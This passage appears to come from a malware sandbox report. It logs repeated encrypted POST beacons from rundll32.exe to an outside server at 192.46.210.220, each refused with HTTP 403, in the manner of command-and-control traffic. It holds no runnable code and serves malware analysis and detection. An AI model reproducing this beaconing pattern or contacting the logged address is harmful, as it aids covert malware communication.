1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:51 UTC	279	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	50032	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:54 UTC	279	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:54 UTC	279	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:54 UTC	289	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	50033	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:54 UTC	284	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:54 UTC	284	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:54 UTC	289	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	50052	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:57 UTC	289	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:57 UTC	289	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:58 UTC	299	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	50053	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:58 UTC	294	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:58 UTC	294	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:58 UTC	299	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49775	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:12 UTC	29	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:12 UTC	30	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:13 UTC	34	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	50072	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:01 UTC	299	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:01 UTC	299	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:02 UTC	309	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	50073	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:02 UTC	304	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:02 UTC	304	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:02 UTC	309	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	50080	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:06 UTC	309	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:06 UTC	309	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:06 UTC	314	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	50081	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:06 UTC	314	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:06 UTC	314	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:07 UTC	319	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:07 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	50087	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:10 UTC	319	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:10 UTC	319	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:10 UTC	329	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	50089	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:10 UTC	324	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:10 UTC	324	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:11 UTC	329	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:11 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	50095	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:14 UTC	329	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:14 UTC	329	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:14 UTC	334	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	50097	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:14 UTC	334	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:14 UTC	334	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:15 UTC	339	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:15 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	50103	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:17 UTC	339	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:17 UTC	339	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:18 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	50105	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:18 UTC	344	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
